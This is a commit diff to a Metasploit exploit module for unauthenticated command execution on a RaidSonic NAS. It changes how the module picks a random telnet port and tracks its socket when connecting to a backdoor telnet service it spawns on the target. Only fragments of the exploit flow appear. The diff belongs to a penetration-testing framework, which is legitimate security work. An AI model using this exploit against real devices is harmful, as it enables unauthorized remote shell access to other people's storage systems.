Fix possible collisions on binding port and handle rex socket

modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb

@@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def exploit
-    telnet_port = rand(65535)
+    telnet_port = rand(32767) + 32768
 
     print_status("#{rhost}:#{rport} - Telnet port: #{telnet_port}")
 
@@ -124,12 +124,15 @@ class Metasploit3 < Msf::Exploit::Remote
     end
 
     print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
-    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port.to_i })
+    ctx = { 'Msf' => framework, 'MsfExploit' => self }
+    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port.to_i, 'Context' => ctx })
 
     if sock.nil?
       fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
     end
 
+    add_socket(sock)
+
     print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
     prompt = negotiate_telnet(sock)
     if prompt.nil?